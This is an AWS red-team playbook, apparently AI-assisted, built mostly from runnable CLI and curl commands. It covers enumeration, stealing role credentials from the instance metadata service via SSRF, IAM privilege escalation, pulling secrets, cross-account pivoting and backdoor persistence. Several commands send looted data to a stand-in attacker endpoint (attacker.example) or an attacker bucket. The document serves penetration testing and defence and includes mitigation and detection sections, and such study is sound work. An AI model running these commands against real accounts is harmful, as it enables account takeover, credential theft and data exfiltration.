# AWS

## AWS Cloud Pentesting Playbook

This playbook outlines foundational concepts of AWS architecture and provides technical guidance and attack strategies derived from practical labs and real-world exploitation scenarios. Each section includes purpose, context, exploitation techniques, AWS CLI commands, and mitigation strategies to guide red teamers, cloud security engineers, and blue teams.

***

## 1. AWS Foundations (for Red Teamers)

### 1.1 Control plane vs data plane

* **Control plane**: where API calls are processed (IAM, EC2 start/stop, policy changes). Compromise ⇒ account takeover.
* **Data plane**: where workloads/data live (EBS blocks, S3 objects, Lambda code). Compromise ⇒ data theft, service abuse.

### 1.2 Identities & credentials

* **IAM principals**: users, roles, federated identities (SSO/OIDC/SAML).
* **Key types**:
  * `AKIA…` → long-term access keys (avoid in prod).
  * `ASIA…` → **STS** temporary creds (role sessions; preferred).
* **Session chain**: caller → `sts:AssumeRole` → session in target account.

### 1.3 AWS CLI & profiles (quick mastery)

* Prefer **named profiles**; don’t overwrite `default`.
* Disable pager and pick JSON output; filter with **JMESPath `--query`**.

```bash
# Create an attacker lab profile
aws configure --profile attacker
aws configure set region us-east-1 --profile attacker
aws configure set output json --profile attacker

# Make CLI quiet & scriptable
aws configure set cli_pager "" --profile attacker     # or: export AWS_PAGER=""
aws --profile attacker sts get-caller-identity

# Use JMESPath for clean results
aws iam list-users --profile attacker \
  --query 'Users[].{Name:UserName,Created:CreateDate}' --output table
```

**Extra tips** (stdin/stdout to/from S3; account id from keys; using endpoint-url for attacker infra) are consolidated later in §13 (sourced from HackingThe.Cloud). [hackingthe.cloud+2hackingthe.cloud+2](https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/?utm_source=chatgpt.com)

***

## 2. Red Team Methodology in AWS (end-to-end)

1. **Information gathering / enumeration** → 2) **Initial access** →
2. **Privilege escalation** → 4) **Post-exploitation & objectives** →
3. **Lateral movement (often cross-account)** → 6) **Persistence & cleanup**\
   Every section below includes high-value commands and short scenarios.

***

## 3. Information Gathering & Enumeration

### 3.1 Account & caller validation

```bash
aws --profile attacker sts get-caller-identity
aws --profile attacker sts get-access-key-info --access-key-id ASIAxxxxxxxxxxxx   # reveals owning account id (safe, logs to caller) 
```

(Why: confirm who you are, resolve unknown keys, and avoid noisy blind enumeration.) [hackingthe.cloud](https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/?utm_source=chatgpt.com)

### 3.2 Identity (IAM) surface

```bash
aws iam get-user --profile attacker                         # if using IAM user creds
aws iam list-users --profile attacker
aws iam list-groups --profile attacker
aws iam list-roles --profile attacker
aws iam list-attached-user-policies --user-name dev-user --profile attacker
aws iam list-user-policies --user-name dev-user --profile attacker
aws iam get-user-policy --user-name dev-user --policy-name DevPolicy --profile attacker
aws iam list-policies --scope Local --only-attached --profile attacker
aws iam get-policy --policy-arn arn:aws:iam::<acct>:policy/<name> --profile attacker
aws iam get-policy-version --policy-arn arn:aws:iam::<acct>:policy/<name> \
  --version-id v5 --profile attacker
```

### 3.3 Compute, storage, serverless inventory

```bash
# EC2
aws ec2 describe-instances --profile attacker \
  --query 'Reservations[].Instances[].{Id:InstanceId,State:State.Name,Role:IamInstanceProfile.Arn}'

aws ec2 describe-security-groups --profile attacker
aws ec2 describe-volumes --profile attacker
aws ec2 describe-vpcs --profile attacker
aws ec2 describe-subnets --profile attacker
aws ec2 describe-route-tables --profile attacker

# S3
aws s3 ls --profile attacker
aws s3api list-buckets --query 'Buckets[].Name' --profile attacker
aws s3api get-bucket-policy --bucket my-bucket --profile attacker

# Lambda & API Gateway
aws lambda list-functions --profile attacker
aws lambda get-policy --function-name FnName --profile attacker
aws apigateway get-rest-apis --profile attacker
aws apigateway get-stages --rest-api-id <api-id> --profile attacker

# Databases
aws rds describe-db-instances --profile attacker
aws dynamodb list-tables --profile attacker

# Containers
aws ecr describe-repositories --profile attacker
aws eks list-clusters --profile attacker

# Secrets & systems mgmt
aws secretsmanager list-secrets --profile attacker
aws ssm describe-parameters --profile attacker
```

### 3.4 Logging, detection & posture

```bash
aws cloudtrail describe-trails --profile attacker
aws cloudtrail get-trail-status --name OrgTrail --profile attacker
aws logs describe-log-groups --profile attacker
aws configservice describe-configuration-recorders --profile attacker
aws inspector2 list-findings --profile attacker    # if enabled
aws securityhub get-findings --profile attacker
```

***

## 4. Initial Access

### 4.1 SSRF → IMDS (v1 & v2) credential theft

**The target**: `http://169.254.169.254/latest/meta-data/` (IMDS).

* **IMDSv1**: simple unauthenticated HTTP GET. SSRF that can make plain GETs can often fetch credentials (high risk).
* **IMDSv2**: requires a **session token** (client must `PUT` to get a token, then `GET` with header). SSRF often can’t craft `PUT` + header, reducing risk. Adopt **IMDSv2 and disable v1**. [Amazon Web Services, Inc.+1](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/?utm_source=chatgpt.com)[Datadog Security Labs](https://securitylabs.datadoghq.com/articles/misconfiguration-spotlight-imds/?utm_source=chatgpt.com)[Engineering at Slack](https://slack.engineering/our-journey-migrating-to-aws-imdsv2/?utm_source=chatgpt.com)[F5, Inc.](https://www.f5.com/labs/articles/threat-intelligence/campaign-targets-amazon-ec2-instance-metadata-via-ssrf?utm_source=chatgpt.com)

#### 4.1.1 Manual IMDS checks (from inside an instance)

```bash
# v1 enumeration (if allowed)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName>

# v2 flow (token + use)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName>
```

#### 4.1.2 SSRF step-by-step (red team path)

1. **Discover SSRF** param that fetches URLs (e.g., `?url=http://…`).
2. **Probe IMDSv1** via SSRF: request `…/iam/security-credentials/` → role name.
3. **Fetch creds**: request role path → `AccessKeyId`, `SecretAccessKey`, `Token`.
4. **Load into CLI**:

```bash
aws configure --profile attacker
# Paste Access key, Secret, and set region; then add session token:
aws configure set aws_session_token '…token…' --profile attacker

# Confirm who you are (critical OPSEC step)
aws sts get-caller-identity --profile attacker
```

5. **Enumerate safely** with read-only calls (see §3).\
   \&#xNAN;*This mirrors the AWS portion of your CTF flow while redacting all specific names/values.*

### 4.2 Leaked keys & public resource abuse (quick wins)

* Search code repos for `AKIA`/`ASIA` patterns, validate with `sts get-access-key-info`.
* Publicly accessible AWS resources (S3/ECR/Snapshots) can often be interacted with programmatically; see “Exploiting Public AWS Resources – CLI Attack Playbook” for a breadth of targets and tooling references (e.g., coldsnap for EBS snapshots). [hackingthe.cloud](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/?utm_source=chatgpt.com)

***

## 5. Privilege Escalation (IAM)

Common privesc patterns to test for once you have any foothold:

```bash
# 1) Create a new, more permissive policy version and set it default
#    Requires: iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion
aws iam create-policy-version --policy-arn arn:aws:iam::<acct>:policy/Target \
  --policy-document file://admin.json --set-as-default --profile attacker

# 2) Pass a powerful role to a new EC2 you control (PassRole + RunInstances)
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument, `ec2.amazonaws.com`)].RoleName' --profile attacker
aws ec2 run-instances --image-id ami-… --iam-instance-profile Name=AdminRole --profile attacker

# 3) Attach an admin policy to your principal
aws iam attach-user-policy --user-name me --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile attacker

# 4) Loosen a trust policy to assume a better role
aws iam update-assume-role-policy --role-name TargetRole --policy-document file://trust.json --profile attacker
```

***

## 6. Post-Exploitation Objectives

### 6.1 Data discovery & exfiltration

```bash
# S3 discovery & copy
aws s3 ls s3://org-bucket --profile attacker
aws s3 cp s3://org-bucket/backup.zip ./ --profile attacker

# Fast listings with JMESPath
aws s3api list-objects-v2 --bucket org-bucket --profile attacker \
  --query 'Contents[].{Key:Key,Size:Size}'

# Operator infrastructure for exfil (custom S3-compatible endpoint)
aws s3 ls --endpoint-url https://attacker.example --profile attacker
aws s3 sync ./loot s3://exfil --endpoint-url https://attacker.example --profile attacker
```

(The `--endpoint-url` trick is a known TTP used in the wild; see SCARLETEEL notes). [hackingthe.cloud](https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/?utm_source=chatgpt.com)

### 6.2 Serverless & APIs

```bash
# Invoke Lambda directly (if allowed)
aws lambda invoke --function-name FnName out.json --profile attacker
cat out.json | jq .

# Walk API Gateway from Lambda policy hints → then call the API
aws lambda get-policy --function-name FnName --profile attacker \
  --query 'Policy' --output text | jq .
aws apigateway get-stages --rest-api-id <api-id> --profile attacker
curl https://<api-id>.execute-api.us-west-2.amazonaws.com/prod/resource
```

### 6.3 EC2 artifacts (user-data, instance profile, disks)

```bash
# Read user-data (sometimes contains secrets)
aws ec2 describe-instance-attribute --instance-id i-123 --attribute userData --profile attacker \
  --query 'UserData.Value' --output text | base64 -d

# Snapshot → mount → search
aws ec2 create-snapshot --volume-id vol-123 --description "forensics" --profile attacker
```

### 6.4 KMS, Secrets, SSM

```bash
# Attempt decrypt when you have permitted role
aws kms decrypt --ciphertext-blob fileb://blob.bin --key-id arn:aws:kms:... --profile attacker --query Plaintext --output text | base64 -d

# Secrets Manager
aws secretsmanager get-secret-value --secret-id prod/db --profile attacker

# Pull SSM parameters
aws ssm get-parameter --name /prod/app/dbpass --with-decryption --profile attacker
```

***

## 7. Lateral Movement

### 7.1 Cross-account pivots (role chains)

```bash
# Read trust policies: who can assume whom?
aws iam get-role --role-name Target --profile attacker \
  --query 'Role.AssumeRolePolicyDocument.Statement'
# Attempt assumption if your principal is trusted
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Target \
  --role-session-name pivot1 --profile attacker
# Export temporary creds as a new profile
aws configure set profile.pivot.aws_access_key_id     "$AWS_ACCESS_KEY_ID"
aws configure set profile.pivot.aws_secret_access_key "$AWS_SECRET_ACCESS_KEY"
aws configure set profile.pivot.aws_session_token     "$AWS_SESSION_TOKEN"
aws sts get-caller-identity --profile pivot
```

### 7.2 Service pivots (containers & clusters)

```bash
# ECR -> pull images (may contain secrets)
aws ecr get-login-password --profile attacker | docker login --username AWS --password-stdin <acct>.dkr.ecr.us-east-1.amazonaws.com
aws ecr list-images --repository-name app --profile attacker
aws ecr batch-get-image --repository-name app --image-ids imageTag=latest --profile attacker

# EKS -> get kubeconfig
aws eks update-kubeconfig --name prod --profile attacker
kubectl get pods -A
```

***

## 8. Persistence (ethical use in labs only)

```bash
# Create a backdoor access key (detectable)
aws iam create-access-key --user-name legit-user --profile attacker

# Attach a stealthier inline policy (detectable)
aws iam put-user-policy --user-name legit-user --policy-name SystemUpdate --policy-document file://least-priv.json --profile attacker

# Rogue OIDC IdP backdoor (advanced)
# (Create OIDC IdP, then update a role's trust policy to trust it)
# Reference technique overview:
#   - Deploy OIDC web server (attacker infra)
#   - Create IAM OIDC IdP
#   - Backdoor role trust to include this IdP
```

(Use of a **rogue OIDC Identity Provider** for persistence is documented in the wild; treat this as lab-only knowledge.) [hackingthe.cloud](https://hackingthe.cloud/aws/post_exploitation/iam_rogue_oidc_identity_provider/?utm_source=chatgpt.com)

***

## 9. Detection, Hardening & OPSEC quick wins

### 9.1 Instance Metadata (IMDS)

* Enforce **IMDSv2 only**, set hop limit to 1, and audit legacy v1.
* Rollout guidance from AWS shows org-scale inventory and enforcement patterns. [Amazon Web Services, Inc.](https://aws.amazon.com/blogs/security/get-the-full-benefits-of-imdsv2-and-disable-imdsv1-across-your-aws-infrastructure/?utm_source=chatgpt.com)

### 9.2 GuardDuty & CloudTrail hygiene

* Keep **CloudTrail** multi-region, S3 log integrity (log file validation) on.
* GuardDuty + Detective for anomaly investigation.
* (Red team OPSEC: be aware that some CLI user-agents can be flagged; research shows ways to alter UA for testing. Use only in authorized labs.) [hackingthe.cloud](https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/?utm_source=chatgpt.com)

### 9.3 SCPs & boundaries

* Organization-level **SCPs** to restrict risky actions (`iam:CreatePolicyVersion`, `iam:PassRole`, `kms:*`), blast-radius control.
* Permission boundaries for delegated admins.

***

## 10. Real-World-Style Scenarios (all specifics redacted)

> The flows below are adapted from the AWS portion of the CTF write-up you shared, but scrubbed of any actual names/domains/keys. They demonstrate enumeration → exploitation → post-ex steps you’ll meet in practice.

### 10.1 SSRF → IMDSv1 → STS creds → S3 data

1. Find SSRF param (e.g., `?url=`).
2. Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/` → get role.
3. Request role path to obtain `AccessKeyId/Secret/Token`.
4. Configure profile and verify identity:

```bash
aws configure --profile attacker
aws configure set aws_session_token 'REDACTED' --profile attacker
aws sts get-caller-identity --profile attacker
```

5. Enumerate IAM and S3, then read a sensitive object:

```bash
aws iam list-roles --profile attacker
aws s3api list-objects-v2 --bucket company-prod --profile attacker
aws s3 cp s3://company-prod/prod-data.txt ./ --profile attacker
```

(Why this works & defenses: see §4.1 + IMDS references.) [Amazon Web Services, Inc.+1](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/?utm_source=chatgpt.com)

### 10.2 IAM graph Q\&A exploration (groups, inline policies, role trust)

* Use `list-groups`, `list-group-policies`, `list-attached-group-policies`, and `get-policy*` to answer “who can do what.”
* Example (answering “which group has X user” & “what inline policy is on Y user”):

```bash
aws iam list-groups-for-user --user-name emp001 --profile attacker
aws iam list-user-policies --user-name emp001 --profile attacker
aws iam get-user-policy --user-name emp001 --policy-name s3-administrator-Policy --profile attacker
```

(This mirrors the investigative steps without revealing any challenge keys or domains.)

### 10.3 Role-pivot (assumable by devops-role)

* Inspect **trust** on `devops-role` to find assumable roles, then `sts:AssumeRole`:

```bash
aws iam get-role --role-name devops-role --profile attacker \
  --query 'Role.AssumeRolePolicyDocument.Statement'
aws sts assume-role --role-arn arn:aws:iam::REDACTED:role/dev-role \
  --role-session-name pivot --profile attacker
aws sts get-caller-identity --profile attacker
```

(CTF asked a similar question about “which role can be assumed by X.”)

***

## 11. Service-by-Service Attack & Defend (condensed)

### 11.1 S3

* **Attacks**: public buckets, mis-policies, website mode, object ACL confusion.

```bash
aws s3api get-bucket-acl --bucket site --profile attacker
aws s3api get-bucket-policy-status --bucket site --profile attacker
aws s3 cp s3://site/object - --profile attacker | strings | head
```

* **Mitigate**: Block Public Access, SCP deny on `s3:PutBucketPolicy` outside pipeline, access logs.

### 11.2 EC2 & Networking

* **Attacks**: IMDSv1, permissive SGs, user-data secrets, EBS forensics.

```bash
aws ec2 describe-instances --profile attacker \
  --query 'Reservations[].Instances[].IamInstanceProfile.Arn'
aws ec2 describe-instance-attribute --instance-id i-1 --attribute userData --profile attacker \
  --query 'UserData.Value' --output text | base64 -d
```

* **Mitigate**: IMDSv2 only, SG least-privilege, encrypt & tag disks, SSM Session Manager instead of SSH.

### 11.3 Lambda & API Gateway

* **Attacks**: over-permissive Lambda role, unauth’d API stages, leaky resource policies.

```bash
aws lambda get-policy --function-name Fn --profile attacker
aws apigateway get-stages --rest-api-id <api> --profile attacker
```

* **Mitigate**: Auth (IAM/JWT), per-function KMS keys, env var secrets in Secrets Manager.

### 11.4 ECR/EKS

* **Attacks**: pull private images, kubeconfig pivot to cluster.

```bash
aws ecr get-login-password --profile attacker | docker login --username AWS --password-stdin <acct>.dkr.ecr.us-east-1.amazonaws.com
aws eks update-kubeconfig --name prod --profile attacker
```

* **Mitigate**: scoped repository policies, IR/scan images, IRSA for pods, network policies.

### 11.5 RDS/DynamoDB

* **Attacks**: snapshot copy, overly-broad IAM reading tables.

```bash
aws rds describe-db-snapshots --profile attacker
aws dynamodb scan --table-name Customers --profile attacker --max-items 5
```

* **Mitigate**: snapshot sharing controls, VPC-only, IAM condition keys (`aws:SourceVpce`).

### 11.6 Secrets/KMS/SSM

* **Attacks**: decrypt via mis-scoped roles; harvest SSM params.

```bash
aws secretsmanager list-secrets --profile attacker
aws kms list-keys --profile attacker
```

* **Mitigate**: resource-level grants, key separation, rotation, access analyzer.

***

## 12. Cloud Observability & Response (what to watch)

* **CloudTrail**: look for `iam:CreatePolicyVersion`, `iam:PassRole`, `sts:AssumeRole`, `secretsmanager:GetSecretValue`, `ssm:GetParameter`.
* **GuardDuty**: findings for `UnauthorizedAccess:IAMUser/`\*, `Stealth:IAMUser/PasswordPolicyChange`, `CredentialAccess` patterns.
* **Config/Inspector/Security Hub**: posture and finding aggregation; ensure they’re **enabled and sending to a central account**.

***

## 13. AWS CLI Power-User Notes (HackingThe.Cloud extracts)

These are field-tested tricks that speed up red team & blue team work alike:

```bash
# 13.1 Stream to/from S3 without temp files (use "-" for stdin/stdout)
cat ./payload.bin | aws s3 cp - s3://attacker-bkt/payload.bin --profile attacker
aws s3 cp s3://corp-logs/app.log - --profile attacker | head

# 13.2 Shape output fast (JMESPath)
aws ec2 describe-instances --profile attacker \
  --query 'Reservations[].Instances[].{Id:InstanceId,IP:PrivateIpAddress,Role:IamInstanceProfile.Arn}' --output table

# 13.3 No pager, predictable output
aws configure set cli_pager "" --profile attacker
aws configure set output json --profile attacker

# 13.4 Account ID from any access key (safe lookup)
aws sts get-access-key-info --access-key-id ASIAxxxxxxxxxxxx

# 13.5 EKS / Logs quickies
aws eks update-kubeconfig --name prod --profile attacker
aws logs tail /aws/lambda/FnName --follow --profile attacker

# 13.6 SSO (if you use it in corp)
aws sso login --profile corp
```

(From the HackingThe.Cloud “AWS CLI Tips & Tricks” and related enumeration articles.) [hackingthe.cloud+1](https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/?utm_source=chatgpt.com)

***

## 14. Deep Dive: IMDSv1 vs IMDSv2 (don’t skip this)

**IMDSv1**

* Stateless, **unauthenticated GET** interface. Any code able to issue HTTP GETs from the instance network namespace can read metadata, including **temporary role credentials**. This makes SSRF, header injection, or open proxy bugs especially dangerous.
* If a workload exposes any path that can fetch arbitrary URLs (even without custom headers), it can often read IMDSv1. [Datadog Security Labs](https://securitylabs.datadoghq.com/articles/misconfiguration-spotlight-imds/?utm_source=chatgpt.com)[Tenable®](https://www.tenable.com/blog/secure-your-aws-ec2-instance-metadata-service-imds?utm_source=chatgpt.com)

**IMDSv2**

* **Session-oriented**: client must first `PUT` to obtain a token (`X-aws-ec2-metadata-token`), then include that token header for subsequent `GET`s. Tokens are TTL-bounded and tied to the calling process path + hop limit, reducing abuse by SSRF/proxies.
* Many SSRF sinks can’t **make `PUT` with custom headers**, so v2 reduces exploitability substantially.
* Migration guidance exists to discover where v1 is still on and to enforce v2 across fleets. [Amazon Web Services, Inc.+1](https://aws.amazon.com/blogs/security/get-the-full-benefits-of-imdsv2-and-disable-imdsv1-across-your-aws-infrastructure/?utm_source=chatgpt.com)[Engineering at Slack](https://slack.engineering/our-journey-migrating-to-aws-imdsv2/?utm_source=chatgpt.com)

**Operator checklist**

```bash
# Enforce v2 on new launches (example via CLI)
aws ec2 modify-instance-metadata-options --instance-id i-123 \
  --http-tokens required --http-endpoint enabled --http-put-response-hop-limit 1
```

***

## 15. Build-Your-Own Labs (safe practice)

* **SSRF/IMDS lab**: a tiny Flask app with URL-fetch; deploy on a t3.micro with IMDSv1 enabled, then upgrade to v2 and retest.
* **IAM privesc lab**: create a role that can `CreatePolicyVersion` but not `PutUserPolicy`; show escalation by version switch.
* **ECR/EKS lab**: push an image with a fake secret, then prove repo policy + IR scanning; lock down and retest.

***

### Appendix A — Quick Command Index (by phase)

#### A.1 Info-gathering

```bash
aws sts get-caller-identity
aws sts get-access-key-info --access-key-id ASIA...
aws iam list-users; aws iam list-roles; aws iam list-policies --scope Local --only-attached
aws ec2 describe-instances; aws s3api list-buckets; aws lambda list-functions
aws apigateway get-rest-apis; aws rds describe-db-instances
aws ecr describe-repositories; aws eks list-clusters
aws secretsmanager list-secrets; aws ssm describe-parameters
aws cloudtrail describe-trails; aws logs describe-log-groups
```

#### A.2 Exploitation & privesc

```bash
# IMDS (v1/v2) from instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<Role>

# IAM privesc
aws iam create-policy-version --set-as-default --policy-arn arn:aws:iam::<acct>:policy/Target --policy-document file://admin.json
aws ec2 run-instances --image-id ami-... --iam-instance-profile Name=AdminRole
aws iam attach-user-policy --user-name me --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-assume-role-policy --role-name TargetRole --policy-document file://trust.json
```

#### A.3 Post-exploitation

```bash
aws s3 cp s3://bucket/key ./; aws s3 sync ./loot s3://exfil --endpoint-url https://attacker.example
aws lambda invoke --function-name Fn out.json
aws ec2 describe-instance-attribute --instance-id i-1 --attribute userData | jq -r '.UserData.Value' | base64 -d
aws secretsmanager get-secret-value --secret-id prod/db
aws kms decrypt --ciphertext-blob fileb://blob.bin --key-id arn:aws:kms:...
```

#### A.4 Lateral movement & persistence

```bash
aws iam get-role --role-name Target --query 'Role.AssumeRolePolicyDocument.Statement'
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Target --role-session-name pivot1
aws iam create-access-key --user-name legit-user
aws iam put-user-policy --user-name legit-user --policy-name SystemUpdate --policy-document file://least-priv.json
```
